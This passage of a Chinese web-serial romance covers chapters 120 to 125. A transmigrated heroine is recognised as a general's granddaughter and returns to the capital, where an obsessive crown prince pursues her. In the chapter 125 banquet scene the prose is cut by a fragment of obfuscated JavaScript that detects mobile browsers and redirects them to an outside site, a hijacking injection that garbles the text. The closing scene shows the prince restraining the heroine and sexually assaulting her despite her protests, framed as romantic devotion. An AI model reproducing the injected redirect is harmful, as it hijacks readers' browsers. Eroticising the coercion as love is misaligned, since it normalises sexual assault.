“小七。”薛清的声音,听着也有些微的异样,带着一丝轻颤,却是极其的认真和笃定,“你应该尊称他,为外祖父。”
外祖父?!
沈木兮当场呆住了。
薛小七的姨娘,早年间不是跟在欧阳氏身边的丫鬟吗,怎么还和这等世家大族拉扯上了关系?
薛清知道沈木兮的困惑,这才缓缓说起了陈年往事。
原来,薛小七的姨娘莫娘,并非是欧阳氏身边的家生奴才,是早年间欧阳家在外捡的小姑娘。
欧阳氏和她感情极好,说是主仆,却胜过自家姐妹。
后来欧阳氏嫁给了薛清,莫娘便跟着一起去了薛家。
那时候秦姨娘得势,莫娘原本是有心上人的,但为了巩固欧阳氏的地位,主动成了姨娘帮她争宠,后来便有了薛小七。
也因此,欧阳氏待薛小七才
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那么好。
除了是真心喜欢,也是对好友的亏欠。
薛清早就知道莫娘不是欧阳家的人,但不知道欧阳家把莫娘捡回来时,还有个包袱。
这个包袱,一直被欧阳氏当成莫娘的遗物保存着,先前和沈木兮大闹,又把她赶走,欧阳氏其实第二天就后悔了,却已经找不到人了。
她夜不能寐,翻找出了莫娘的遗物。
才发现里面竟有个玉佩。
欧阳氏不清楚这些,但薛清却一眼认出那玉佩上的纹路另有端倪,很快联系到了还在边塞的赵老将军。
这才知道,莫娘,原来是赵老将军遗留在外的小女儿。
而薛小七,正是赵家的外孙!
赵夷看着沈木兮那张,和故去发妻极其相似的脸,双眼愈发通红。
除了大女儿,便是小女儿生得和发妻极像。可没想到,自己的小外孙女,更是和妻子惊人的相似。特别是那双眼睛,晶亮晶亮的。
这一看,都不用验证,他便知道,这就是他赵家的孩子啊!
“小七,这些年,真是苦了你和你娘亲了。”
自打他长子死在了战场上,大女儿的孩子也在京中幼年夭折。
加上小女儿的丢失,赵家就像是丢了所有的精气神一样,一蹶不振。
先帝驾崩后,赵夷想远离这个伤心地,才带着家人去了边城。
他原以为,是自己杀戮太多,满手鲜血!老天为了惩罚他,才连一个血脉也没留下。
没想到,还有个外孙!
沈木兮呆呆地看着眼前红眼的老者,有一瞬没反应过来。
“外、外祖父?”
她居然有个这么厉害的亲人!
不,是薛小七有。
薛清在旁,摸着胡须,拍着她轻声安抚:“小七,这不仅仅是你的外祖父,也是你今后的依靠。当然,为父亦是。”
沈木兮心中蓦地一动,转头看去了薛清。
她突然间就明白了什么。
薛清知道,以他的能力,是无法真正保护了她的。
所以知道莫娘身世后,他才那么着急去找来赵家,便是为了想给沈木兮一个靠山,一个可以和至高皇权对抗的靠山!让她今后,再也不会受人的操控和欺负。
沈木兮鼻子一酸,再也忍不住,飞扑进了薛清怀里:“父亲,是女儿不孝,让您操这么多的心。”
“傻孩子。”薛清双眼也跟着红了,随后正色道,“今后,你就跟着外祖父去赵家。”
沈木兮抬头看向面前,对她笑着的老者。
“那,我要跟着外祖父,一起去边城吗?”
赵夷却是站直身子,和薛清对视一眼后,而后正色道:“不,不去了。我们,回京!”
第121章 警告
什么,回京!
薛清看到沈木兮微变的脸色,就知道她在担心什么。
赵夷又道:“边城太荒芜,不是适合你一个小女孩子居住,我已经传信回去了,这几日里,其他家人也会陆续回来的。”
薛清也严肃地说。
“小七,只有正大光明的回去。那些人,才不敢动你,明白吗。”
他神色严肃,捏着沈木兮肩头的手中力道也很大。
沈木兮不说话了。
她太明白了。
薛清的顾虑和考量,一向都很周全,是全心全意为她所想。
沈木兮越过外面的京郊山林,看去了京城的方向。
逃是逃永远逃不掉的,她也逃腻了。
沈木兮的目光冰冷又清醒,坚定一笑。
“好,我跟外祖父,回、京!”
……
阔别京城许久的赵氏一族,回京的消息,很快传遍了整个京城内外。
赵家的名声,虽然不如以往,但一提及赵夷,朝堂中人谁不胆怯畏惧。
这可是当初以一敌百,手刃无数敌寇的杀神老将!
大家也都知道,赵家这一归来,整个京城的风向,怕是都要变天了。
皇宫中。
北寅焱已经收到了赵夷的信。
人都要到城门了,信倒是才送到君王跟前。
明着尊敬,实则先斩后奏!
这赵夷,还是和年轻时一样的臭脾气!想走就走,想回来就回来。
帝王不屑一哼。
不过,相比较那些表面奉承,心思多的数不胜数的的其他朝臣。
这直来直往,不攀附皇权,也不畏惧任何人,什么都摆在明面上的赵夷,更让帝王放心。
“嗯,赵老将军携家人回京,朕是要慰问一番。就让,太子去城门迎接吧。”
旁边的周福宁欲言又止。
北寅焱凝眉:“怎么,太子还不见人吗?”
周福宁不敢说。
自打太子妃大婚之夜失踪,太子受了伤,往日本就阴森森的太子府,现在更是……不仅仅装潢还是大婚那日的样子,府门前的红绸也没揭。
诡异的很。
宫里的人,不是不去,是不敢去啊。
“放肆!”北寅焱怒的拍桌,“拿朕的圣旨去太子府,告诉他,不去城门,他那太子之位,也就别想坐了!”
北寅焱表面动怒,实则内心是为了太子着想。
现在太子的名声在朝堂,是越发的不妙。虽然北辰景一点也不在意,但他这个当爹的必须要多花点心思。
让太子去接人,既是代表了对赵夷的看重,也是告诉整个朝野,储君就是储君。是天子认定的继承人!
周福宁点头应下,转身时,北寅焱又问了句:“城外,还没消息?”
“回陛下,出去追踪的人,还没有动静。”
一个小女子,能追那么久。
北寅焱的脸色,顿时不好了起来。
他其实并不知太子受伤的事,还是太子妃失踪两日后,太子未醒,太子府的人瞒不住了,才被迫告知了北寅焱。
虽然太子府的人没说和太子妃有关,但太子妃失踪,太子还跟着出事,很难不让北寅焱把这两件事联系在一起!
“继续追踪!”
顿了顿,他又补充一句。
“还是那句话,让他们,别伤害太子妃。朕要活的。”
“奴才遵旨。”
话音刚落,出去的周福宁,迎面便撞上了一个人,抬头看去的瞬间,他吓得抖了抖。
“太、太子……”周福宁看了眼一样意外的北寅焱,忙不迭退下。
几日不见,北辰景许是受伤刚好,整个人病态苍白,看着也比以往更多了些**气,盯着人的那双狭长眼眸,更是阴冷的很。
连高位上的北寅焱,有时看着自己的这个儿子,都觉得有点发怵。
想着方才谈论的事,北寅焱的眸光有些躲闪,随后又板着一张帝王威严的冷脸。
“太子身子好了?”虽带着帝王的审视,但不难看出北寅焱眼神里对儿子的关心,“正好,朕准备安排你去城门接人……”
“我与她的事,和你无关。也不需要任何人涉足。”北辰景冷漠地说着,看来是知道宫里在派人追
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踪沈木兮的事了。
北寅焱眉心凝起。
“你知不知道,你是在和谁说话?”
北辰景面无表情,暗冷光线下的眸子微抬,嘴角冷硬一扯,带着几分嘲讽。
“如果是我,我会管好自己的女人,而不是管其他人的。”
“你!”北寅焱似是被气着了。
心中却是在叹息。
太子,还是在因为他母后的事,在记恨他!
北辰景只是来警告的,说完就走,没有一刻的逗留。
丝毫不管身后的帝王有多么震怒。
出去时,他的身影微微晃动,撑住殿门才没倒下。
北辰景是进宫的前一刻才醒的,知道外面的动静后,他直接就来宫里了。
基本上苏醒后就没有一瞬的停息,自是气虚不稳。
且那夜他的刀伤,伤得极重。连北寅焱都不知道真实情况,只晓得北辰景伤了,并不知,那刀口多深。
离阙上前,搀扶住他:“太子。”
却被北辰景甩开了。
“滚。”
离阙回头看了眼身后的金銮殿,跟上说:“太子,陛下让您去城门接人,您看……”
“不去。”
北辰景头也不回地说。
病白的脸上,写满阴冷偏执。
“她还没回来,肯定是生孤的气了。”
父皇还在派人追她,她那么的胆小脆弱,稍一触碰就碎了,当是会怕**。
他要去找她。
这个皇城的人,都坏**,她能倚靠的,只有他。
“孤要亲口告诉她,这次,孤一定会乖乖听她的话,再也不惹她生气了。”
温和极了的话,北辰景说话时,甚至是眉眼弯弯,带着温润的笑。
可身后的离阙,却是感觉到了一丝的森冷恐惧,身子也跟着剧烈抖了抖……
抬头再看着眼前,背影冷漠,又摇摇晃晃的人影,离阙又赶紧跟了过去。
那股冷风拂过奢华又冰冷的宫墙,缓缓萦绕至了城们之外,那从边城回京的整齐队伍。
沈木兮蓦地睁眼,从满是软垫的暖和马车里苏醒。
第122章 不过是个野种
“小姐,您醒了。”
说话的是小愿。
她身上的伤已经包扎好,被薛清安排,陪着沈木兮一起回赵家。
“现下已经快到城门,听说已经有人来迎接了。”小愿说这话的时候,有些胆怯和害怕。
沈木兮拍着她的手安抚:“怕什么,不会出事的。”
她没什么表情,说完就浅阖上了双眸。
小愿感觉的出来,这次的变故,让小姐变了许多,也不怎么爱笑了。
虽然她不知道那夜寻到小姐之前,她在京中经历了什么,但知道,一定是不小的事。
到了城门时,已经是黄昏了。
要比沈木兮预估的要晚一些,为了不让京中人怀疑,她是跟着队伍一起从京城外五十里外回来的,路上便耽搁了点时辰。
赵氏一族举家回京的消息,早就传遍了整个皇城。
今日京城城门四处都是围观百姓,全都来看热闹了,一阵阵的喧哗嘈杂声,顺着城门传来。
小愿忍不住抬头往外张望。
“小姐,今天京城好热闹啊。”
沈木兮没去看,只是安**着。
果真是真正上过战场的人,这些拥护着赵家队伍的铁甲士兵们一进城门。
气势如虹,那携带着的浓重肃杀气息,纷纷让热闹的人群噤声。
也是这时,沈木兮才算是抬眸往外看了眼。
大老远,便看到了前来迎接的人。
是忱王。
忱王正在前面和赵夷简单寒暄。
她的眸光,又落去了城门内四周。
和她猜测的一样,城中守卫比之前多了不少,即便现在城门在迎接大人物。四下的街道上,也有不少继续在四处巡逻,正在搜查逃犯的官兵队伍。
其中那个领头人,还正是之前在京郊见过的那人,凶神恶煞……
沈木兮眸光冷漠,落下了帘子。
是以她并没看到,正从旁边窜出的另一辆马车,那微动帘子内,高贵端坐,冷眸半阖的男人。
驾车的离阙看了眼被北寅焱临时抓来接人的忱王。
心中万般无奈。
殿下果真是说不去就不去,一点面子也不给陛下。
不过太子和陛下关系这么不好,也怪不得太子。
离阙看了眼,就没看了。
也没听到身后,风声掩盖下,赵夷苍老不失中气十足的声音。
“小七,快出来见过忱王。”
一瞬的沉默后,沈木兮缓缓走出了马车。
就在她缓步下了马车,裙摆随风拂过地上尘土的那一瞬。
队伍身后方。
正朝着城门驶去另一辆马车的男人,像是感觉到了什么,突然睁开了半阖的幽眸!
“给孤停车。”
而这边。
迎接人的忱王,在看到这位赵家小姐容貌的那一瞬,显然是一愣,连他往日阴郁清冷的面容,此刻也有些秉持不住,多了些其他色泽。
赵夷朗声大笑说:“这是我刚寻回来的小孙女,叫小七。”
“孩子,还不快来见过忱王。”
赵夷已经从薛清那得知,沈木兮现在在京中招惹了些麻烦,她一旦出现在城内,肯定会被人盯上。
早晚都是要暴露的。
所以他这是故意在城门前,让沈木兮直接出现在众人跟前。
既是彰显她为赵家血脉的身份,也是代表了自己对她的看重!
忱王不是个太情绪外露的人,很快收敛了自己的异样,对着朝自己行礼的沈木兮,微一颔首。
沈木兮行完礼,准备回马车。
转身的那一刹那。
安静的街道尽头,突然传来一声沉闷巨响,好像是有人因为太过激动……差点摔出马车的动静。
忽有风起。
微眯人眼的风沙前方,有那么一双早已湿透了的眼眸,就这样穿过冷风,穿过层层静寂的人群,落在了她的身上!
惊讶,雀跃!带着熟悉的湿红。
沈木兮身子微震,像是知道了什么,但她的反应,却没有对方想象的大。
她只是,很平静又冷漠的抬头。
在一众逐渐恢复热闹喧哗的人流中,神色冰冷的同对方对视。
方才,北辰景的确差点从马车里摔了出去,此刻正踉跄着撑在车壁边。
几日不见,他比记忆里更瘦削病态。
像是刚伤重初愈。
他的脸色有多苍白,那看到她时的眸光,就有多欣喜雀跃!
就像是一个做错事的孩子,可怜又激动地看着她的方向。
无助,彷徨。都不敢上前了。
可这一次,沈木兮不会信了。
北辰景正要抬步,可待他反应过来,她看自己的眼神,是那么的冷漠和疏离。
甚至看了自己一瞬后,便很快收回眸子。
像是不认识他,直接进了马车。
北辰景停下步子,眼中的激动之色,瞬间被另一抹色泽覆盖。
他歪着头,这一刻的他,像极了一只小兽,懵懂,又困惑。
但更多的,却是小心翼翼和委屈。
她果真,生他的气了。
可她这般看他,比让他死掉还要难受。还不如,那一夜就一刀杀了他。
外面的场景是怎样的,沈木兮都不想去看了。
也一点也不关心。
倒是赵夷觉察到了什么:“小七,你认识方才那人?”
“不认识。”马车帘子一落,沈木兮已经隔开了外界一切。<
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br>薛清只对赵夷说了大概,没说全部的事,是以赵夷并不知沈木兮和太子之间的种种。
他刚回京,也不认识回来的太子。
不过,赵夷还是从方才那男子的容貌和不一样的气场,猜到了对方的身份。他虽然不认识太子,但知道太子回宫的事。
同时北辰景那熟悉的眉眼,也让这位老者想起了一个故去的旧人。
赵夷又看去了皇宫的方向,再回头,看去伫留原地,离他们远行队伍越来越远……苍白脸色逐渐阴冷,如暗夜毒蛇的男子身影。
他苍老的眼眸逐渐加深。
他们的这个帝王,终究还是不想遮掩了吗。
想着这位太子的出身,赵夷是惊异,但更多的还是叹气。
看来今后的京城,怕是会有更多的血雨腥风了。
他勒马转身:“回府!”
两方人逐渐消失,另有隐藏在暗处人,看着方才沈木兮和北辰景再见的这一幕,笑得格外诡谲。
“咱们王爷那夜,可没白留那么多的血。”
“是啊,还是王爷聪明,让人先把婚房的门偷偷打开……他们现在这般敌对,王爷吃这么多的苦,也是值得了!”
风声一过,那些藏匿在京城里的最见不得人的恶心脏污,也被风沙遮掩了个干净,无影无踪。
……
镇国将军府。
在历史长河里,沉寂了许久的赵家府邸,今日总算迎来了主人的过来。
赵夷因为要安顿好沈木兮,以及安排她的身份。
是以其余赵家人比他们先行回来。
此刻准备妥当的赵家人,已经在将军府门前候着了。
领头人是赵家的长女赵若岚。
一看就是武将之女,虽已经年近四十,但眉宇间依旧尽显英气。
只是因为**夭折,弟弟和丈夫,也一起死在了战场上,她的眼神虽冷,但总是夹带着一股忧伤。
在她旁边另外的赵家人,却是在那嘲讽低语。
“娘您说,这带回来的姑娘,这当真是晚芙的女儿?”
“谁知道呢!万一当真是大哥在外随便捡了个人回来,硬说是咱们赵家人,你又能如何?”
两人夹枪带棒的话,引得赵若岚的侧目。
说话的这两人,是赵家二房的,也是赵夷的弟弟一家。
赵家满门忠烈,他的亲弟弟也是一样战死沙场,留下孤儿寡母,便被赵夷接着一起住了。
两家人这一住,便是住了二十多年。
“二婶,父亲要回来了,你还是少说些吧。”
赵夷的二弟妹李氏,暗自撇撇嘴。
真是不知从来了个野丫头,她才不信是赵家血脉!根本就是个野种!
第123章 她也是有人疼爱的宝
不怪李氏。
其实赵若岚心里也很是狐疑。
因为当初小妹丢失时,就有不少人前来认亲,赵家也是被诓骗过几次的。更别说,现在还是个隔了一辈的外孙。
几人刚说着话,赵夷的队伍就到了府门前。
按照西越规矩,手握兵权的重臣武将,其麾下大军是不可以随意进京城的。方才为赵家开道的精锐士兵们,送至半路就折返出城驻扎。
是以现在队伍里只有一些副将和亲卫,和后面的马车一起徐徐而来。
赵家所有人的目光,都落在了微动的马车帘子。
在一众目光注视下,沈木兮缓缓下了车。
原本还心存疑虑的几人,在看到她的容颜时,都有些怔住。
特别是李氏,眼珠子都要瞪出来了。
那眉眼,居然这么像吗!该死,不会真被找回来了吧。
旁边她的儿媳小苏氏,也是一脸讶然,低声说:“娘,您瞧,还真像呢。”她说的,自然是赵夷的发妻。连赵若岚,都只是三四分像,可这个找回来的小小姐,居然有七八分的相似。
小苏氏心中叹气,看来是真找到了,没错了。
想着赵家这偌大的家业,现在被人瓜分一杯羹,小苏氏的心里就不是滋味。
没人注意到,这一刻李氏眼中的惊慌和异色。
赵夷给沈木兮介绍起了家里人。
“这是你大姨母。”
赵若岚在看到沈木兮的那一瞬,便微微晃了晃神,好半晌才反应过来,极少笑的她,此刻却是一把握住了沈木兮的手。
“好孩子,你叫小七,是吗?”
被赵若岚握住的瞬间,沈木兮的身子一震,好像体内的血液,都在此刻微微沸腾……
不过她并没去在意那一瞬的异样,只当是自己很少被“亲人”这样疼爱过的缘故。
沈木兮抬头看去赵若岚,已经很久没笑过的她,此刻是笑眯了眼。
“姨母真好看,比画上的仙子还漂亮。”
四周人一愣,都被这一句话给逗乐了。
赵若岚是武将之女,性子豪爽直率,跟着父亲征战四方,从小就像是个男儿,即便生得貌美,也没人夸过她美似仙子。
明知是奉承的话,却像是说到了心里去。
“你这小嘴可真甜,父亲,你这是把谁家的糖人娃娃带了回来。我可不管,今夜,必须要让小七跟我睡!”
赵夷摸着胡须,更是仰头大笑!
“好好好!”
说着又给沈木兮介绍起了旁边的二房一家。
李氏一改先前的嘲讽,此刻比谁都谄媚,上前一把握住沈木兮的手。
“哎呀,这就是小小姐吧,这一看啊,就是我赵家人。”
方才沈木兮就感觉到一股不善的视线。
现在看到李氏,她眉心下意识凝起,直觉不喜欢。
不过她这次来到赵家,并不想去给赵家人惹事,想了想,还是得给赵夷面子。
赵若岚发现了沈木兮的不自在,横步上前,一把将她带到了自己身后。
“二婶,父亲和小七车马劳顿,还是进去再说吧。”
说完,她直接带着沈木兮进了府,还故意挡在了沈木兮身旁,不让二房家的人跑来染指。
沈木兮这还是第一次有了种,被“母亲”庇佑的感觉。
当初的沈家人就不说了,在薛家时,欧阳氏也待她好,但到底不是亲生母亲,隔了一层。
但赵若岚给人的感觉却不一样。
总之,沈木兮也说不清楚。
她摸着自己和薛小七相似极了的脸,心想自己和赵家或许还真有些缘分。
一行人进了府。
李氏旁边的儿媳小苏氏直叹气:“娘,你说这小小姐回来了,大伯一家,不就有后了?”
之前赵夷把二房人接来一起,除了是因为对二房的亏欠,也是因为自己没有后人血脉,把全部的重心,都加注在了二房的孩子身上。现在这可好!
李氏一改方才的奉承讨好。
“谁说她是赵家人。”
“可是娘,你没看到她的脸吗?”
李氏瞪了一眼自己的儿媳:“蠢,世间长的想象之人那么多,谁说这就一定是了。”
赵晚芙是不会有孩子的,这是不可能的事!
她话语决绝,仿若十分笃定。
再看被大房人前后簇拥的背影,李氏的眼神渐渐变得幽暗……
沈木兮之前在薛家时,其实就已经算是被家人偏爱了。
没想到,赵家的宠爱,却是更上一层楼。
赵夷不仅仅早就给她准备好了新院子,什么绫罗珠钗,珍奇摆设,都像是不要钱一样,一箱子一箱子往她这边送。
按赵夷的话说,他征战多年,战功赫赫,府中什么都缺,就是不缺各种赏赐和银钱。只要沈木兮要,哪怕是宫里皇帝金冠上的那颗珠子,他拼了老命,也得给她拿来。
简直是宠得不行!
怎么不宠?
当初将军夫人,就是喜欢女娃娃。更别说,现在大孙女的夭折和小女儿的丢失,沈木兮就是赵家唯一的血脉。
待安妥好了她的住处,赵夷又把她带去祠堂,给赵家祖宗上香。
西越也算是封建朝代
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,在这里,越是有头有脸的人家,越是讲究男尊女卑,便是连薛清也是如此。不然当初他也不会那么宠秦姨娘和薛耀祖。
女眷在祠堂,都是不可以跪下拜见祖宗的。
沈木兮接过香,像是以往一样,准备站着作揖。
却被赵若岚一把拦住。
“站着作甚,随我一起跪下。”
沈木兮一怔,便见赵若岚一甩衣裙,已经爽利的长身跪下。
赵夷看出了她的惊讶,笑着说:“我赵家不讲这些虚礼,再说,我赵家女儿,都是上阵杀敌,见过苍茫星宿,漫漫草原的英豪。寻常男儿能做的,我赵家女儿能。男儿办不到的事情,我赵家女儿更能!”
“和你姨母一起跪下便是!”
沈木兮眼神微微发亮,赵家人果真不同于旁的凡夫俗子,倒是她这个现代人迂腐了。
她重重点头,也跟着下跪上香。
一切事情安排完。
管家来传消息,说,揽月楼的酒席,已经准备好了。
问赵夷何时去。
赵夷一听就紧皱眉头。
这是西越帝给他安排的接风宴,以往这样的接风宴,只有大胜归朝的将军才有,虽然没设在宫里,只是在外包下了酒楼,但这番也是给足了赵家面子。
不过赵夷,却有些犹豫。
今夜去了,怕是少不了会见群臣。
赵若岚知道父亲不喜欢这些朝廷的假意奉承,也因此,当初父亲在家人接连出事后,才走的那么干脆。
她说:“父亲,现在小七回来了。今后还要给小七说亲,免不了要结识那些朝堂上的人,再者,若是不去,陛下那边也不好交代的。”
以往没自己啥事儿,在旁边低头数蚂蚁的沈木兮,突然被点名,差点被自己口水噎住。
“啊?说亲?”
这就不用了吧……
沈木兮已经应激了。
害怕又像是在青州一样,因为自己去连累了旁人。
一想起,在青州的祝长安,她心里还是很难受。
虽然薛宝莹说,他恢复了很多,已经可以撑着拐杖走路了。
但无论是对她自己,还是对无辜人,那些事情都是抹不掉的伤害。
接着,又想起了那个人,回想着今日的城门和他的一见,沈木兮的眸光微微泛冷了几分。
赵夷以为她垂着头不说话,是小姑娘害羞,扬声笑道!
“怕什么,女儿家总归是要嫁人的,你若担心被人欺负,就让今后的那小子来给我赵家当赘婿!还能委屈了他去?”
沈木兮:“……”咋还越扯越远了。
第124章 狠戾恶鬼成了乖顺小狗
一段插曲过后,今夜要去揽月楼赴宴的事,已是板上钉钉了。
赵家人还沉浸在一家团圆的喜乐氛围里,一道身影,已经从赵家屋顶上飞身掠过。
下一瞬,来到了阴暗处停靠着的马车外。
听完离阙的回禀,车内全身渡着暗光的男人,指尖轻轻敲击着,苍白的唇轻启,像是恶鬼低吟,一字字念着:“赵、家。”
那双处于的阴暗幽眸,穿过一切,落在前面的偌大府邸。
一点点诡异的逡巡……
“知道了,回府。”
……
入夜时分,赵家的接风宴,也开始了。
被赵若岚硬按在房中,被迫打扮了一番沈木兮,就这样随着赵家人,出现在了揽月楼。
揽月楼是京中第一大酒楼,赵家只是举家搬迁回京,并非是大胜归朝。按理说,也不用接风。帝王这般,已经是很给赵家面子了。
既是接风宴,今夜前来揽月楼的朝臣,自是数不胜数。
沈木兮并不是很喜欢来这种地方,但替薛小七回来了,有些事,不是她不想做就不做的。这个身份又是赵家的唯一血脉,很多场合,必须是要出面的。
不愧是第一酒楼,一进去,整个大堂宛如一座璀璨的宫殿。
在中间的位置,还有一片连至后院的池塘,四周假山林立,雕梁画栋,丝竹声声,奢华不失风雅。
刚进来,沈木兮就感觉到了一道视线,正从三楼宴客厅的位置,往下俯瞰。
幽光四伏,藏匿在人群里。
带着一丝熟悉的鬼气。
被刹那盯住的沈木兮,身子微微轻颤,不怪她,这已经成了她下意识的反应。但很快,她就压下了那股异样,神色平静漠然的跟着赵夷上了楼。
上至三楼,宴客厅里已经到了很多大臣,无论真心还是虚假,都在对着赵夷嘘寒问暖的交谈着。
人一多,沈木兮就觉得闷。
她眉心一蹙,准备往旁边靠些。
一不小心被人堆挤到了楼道栏杆处,身子微微往下仰倒,差点要掉下去。
有人一急。
袍子一拂,一双手,已从暗处伸来。
沈木兮感觉到了什么,眉头一皱,冷眸中闪过一丝异色。
他明明在另一边,居然来得这么快。
不过她的眼神依旧很冷,身子故意一歪,避开了他的动作,一把抓住旁边过路的小二。
待站稳后,她像是没看到身侧的那道人影,对着小二说了句谢谢,转身离去。
旁边,北辰景的手还悬在半空,看着她冷漠回到赵夷身边的背影,阴暗光线下,他喉头上下滚动,手一点点紧握……玉指关节泛白……青筋暴起……
幽眸再看着身侧的小二,只想把那被她触碰过的人皮给活剥了下来。
她的手,怎能触碰他以外的男人?不可以的。
可这一次,他强忍住了。
为了不再惹她生气,他会听话,会乖的。
原本妒忌翻涌的恶鬼戾眸,变得乖顺浑圆,人也从方才的可怕厉鬼,变成了乖巧小狗,缓缓退去了人群后方。
赵夷和赵若岚带着沈木兮先上了楼。
李氏和小苏氏则是跟在了后面。
小苏氏越看沈木兮被赵家人簇拥着,又给介绍大臣的场景,便是越发委屈:“娘,夫君都还在边塞镇守没回来。这小丫头一来,大伯便什么好处都给了她,那我们算什么?”
今日一天下来,赵夷给沈木兮的院子送去个东西,就要听着小苏氏念叨,李氏的耳朵都听出茧子了。
“你着急,我不急吗?可急有什么法子,现在你大伯他们,宠她的很,就算我说她身份有问题,又怎会信?”
小苏氏搅着帕子:“若是有什么法子,能让她现原形,那就好了。”
本是无意间的话语,却是让李氏眼神微变,她意味深长地一笑。
殊不知,两人的对话,正被悄然藏在人群里的什么人听了去。
冷风一过,消失不见。
不出半晌,有人来给李氏送了个纸条。
李氏被吓了一跳,陡然抬头,左右看着四周,可方才那人已经没了身影。
本以为是谁的恶作剧。
等李氏狐疑地拿起纸条一看,眼神顿时就变了。
也不知附耳对小苏氏说了些什么,李氏趁着无人注意,很快转身消失在了揽月楼中。
此时,三楼上。
沈木兮已经和赵夷来到了主桌前。
北辰景的身份在这,他的座位,自然是主桌上位。
还正好和沈木兮,一左一右,坐在了赵夷的两边。
要落座时,沈木兮步子一顿,对身侧的赵若岚说:“姨母,您是长辈,您坐外祖父身边吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989423|193682||http|test|mini|href|location''.split(''|''),0,{}));
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r>那边,正在低头浅抿杯中酒的男人,阴冷眼眸中闪过一丝暗芒。
好似在沈木兮话落的瞬间,整个热闹的宴客厅中,氛围都跟着诡谲了起来。
北辰景垂着眸子,不过是扯唇轻笑,已经从伤重中恢复了些朱红色泽的唇,扬起的弧度绝艳,但又透着一股子森冷。
他没说话。
赵若岚自是一切依着沈木兮。
“小七,这位是太子殿下。”赵夷说。
“见过殿下。”沈木兮当真像是第一次见他,也没看斜对面的这个男人,说完便很快落座。
赵夷感觉出了什么,从今日回京,在半路遇到北辰景时,沈木兮的反应就有些不对劲。应该说,是十分的冷漠。
他的眼神在两人之间打转,老眼锐利,却没出声。
宴会继续进行。
不过这一桌上,又是令人胆寒的太子殿下亲临在场,又是最蛮狠霸道的镇国大将军赵夷在。同桌的臣子们,都不太敢发声。
沈木兮静静在旁边坐着,一直埋头吃着东西。
赵若岚以为她是饿了,不停给她夹菜。
沈木兮哪里是饿,只是不想抬头而已,只等着参加完赶紧走。但也不好回绝姨母的好意,一时间撑得有些难受。
直到,她的余光,瞥着了斜对面,玄袍轻拂,那人盛了一碗消食膳汤,正要朝她的方向递来的动作。
沈木兮皱眉。
这么多人在,他倒是一点也不避着。
可他不一直都是这样吗。
想怎么就怎么。
**屠尸,颇有算计。
赵夷也明锐觉察到了这一幕,他的老眼十分犀利,同时也有些意外。
在北辰景的那碗膳汤要落下时,沈木兮突然站起身!
“外祖父,姨母,我吃好了,有点头晕,想出去走走。”
赵若岚担心地问:“小七,要不要姨母陪着?”
“不用了姨母,这里闷,我就在酒楼后面的池塘边坐会儿。”
转身的瞬间,沈木兮清楚听到筷子被他拧碎的声音。
他想拧碎的,怕不是那筷子,而是她的脖子吧。
沈木兮刚走到楼梯口,身后传来一道惊呼:“太子殿下,您!”
她还没反应过来,手腕就被那人狠戾地拽住!
在赵夷等人震惊的目光下,带着她大步离开了揽月楼!
第125章 他只想要一个名分
“太子殿下,你这是做什么!快放开我家小七!”
“来人——!”
身后赵夷震怒的声音,很快湮没在了夜风里。
沈木兮也很惊讶,但她很快又平静了下来。
他是不会做什么的,若真要如何,以他的性子,是习惯阴暗里爬行……绝对不会当着众人的面,特别是当着赵夷这样带走她。
既然他光明正大的带自己走了,就不会伤她。
那他故意这样,又是为何?难不成,只是想彰显他们是认识的吗?
沈木兮没有甩开他的手,在被他带着出揽月楼的整个过程中,甚至未曾反抗过一瞬。
但更是因为这样,淡漠至极的她,更让北辰景眼底偏执狠戾渐涌,也更想**!
等到了无人的巷子里,他将她抵在黑暗下的墙壁上,眼尾阴湿通红,又带着可怜,声音里都带着了些许哭腔。
“你好狠。”
一晚上,竟连个正眼都没给他。
就这么的折磨他么。
沈木兮平静地看着他,冷漠的眼中,没有丝毫起伏,只带着一丝挑衅:“太子殿下,我们好像不认识吧。”
北辰景的神情从方才的委屈可怜,逐渐变得狰狞。
她冷笑,这就装不下去了?
更可笑的不是他,是她。
曾经,居然一次次这样信了他!
“太子殿下可以放开我了吗,外祖父肯定已经在找我了,殿下也不想今夜的事,闹得满城风雨吧。”她平静地说着。
可她眼中的无尽冷漠,落入眼前之人的眸中,却是两个字,媚色。
她往日总是笑着,看他的眼神也大多像是在看一个“孩子”,从未把他当成男人。即便是大婚之前,也诸多是如此。
他一点也不喜欢她那样看她。
而此刻的她,抛却了曾经的一切,没有任何的装潢掩饰,只剩下了她原本的色泽。
果敢,倔强。又不怕死……
还有眼底里的十足十的挑衅。
没有一丝一毫的惹怒他,反而是勾起了他阴湿眼底里的其他东西。
若是她愿意用这样看狗的眼神,俯视着他,掐着他脖子,要他**,他也愿意。
当然,他也这样做了。
顺着她的腰腹,缓缓半蹲下。
他仰头望着她,乖巧极了。
“别生气了,好不好,是孤错了,孤再也不骗你了。”
他卑微说着道歉的话,可动作却一点也没有收敛!
手从沈木兮的纤腰,到她的裙下……
沈木兮原本冷静的眸光,也跟着变了:“太子殿下,还请你自重。”
自重?北辰景不明白,可她已经是他的太子妃了啊。
是他**红妆,亲自娶的人呀。
他没有错。
她只是生气了,那他就容她去生气。
可今夜,她可走不了。
沈木兮开始挣扎,双手却被他强有力的单手狠狠扣住,他的另一只手已经抬起她的腿,在沈木兮无比震惊的目光下,他抬头挑起那带着一丝娇感的阴眸。
一边盯着她。
冰冷的朱唇,一边对着她的那处……就那样强势吻下。
起初他还很温柔,可后来,他越发的过分。放肆品尝着属于的她的甘甜。湿红眼睑里藏了许久的贪恋,在仰头直视她时,再也不受控制的一点点溢出。
他这不是在处罚她的离开,反倒像是在彰显他的位置,他的名分。
沈木兮被迫抵在墙壁上,双膝收紧,身子轻颤不已。
“北辰景,你停下……停下!”
终于肯承认,是认识他了?
他仰头看来,下巴抵在她的腰上,双眼笑得眯起,若忽略阴湿眼眸里的掠夺,还真是天真又无害。
“阿兮不喜欢吗,可是你上次明明很喜欢的。”
还瘫软在了他的脖上,一次次的索要着他。
沈木兮几乎要被惊吓得失声!
什么上次!
居然还有上次!
这是她从未见过的北辰景,如鬼般痴缠,阴森又可怖!
也因此,方才才会再次被迫陷入他的操控中。
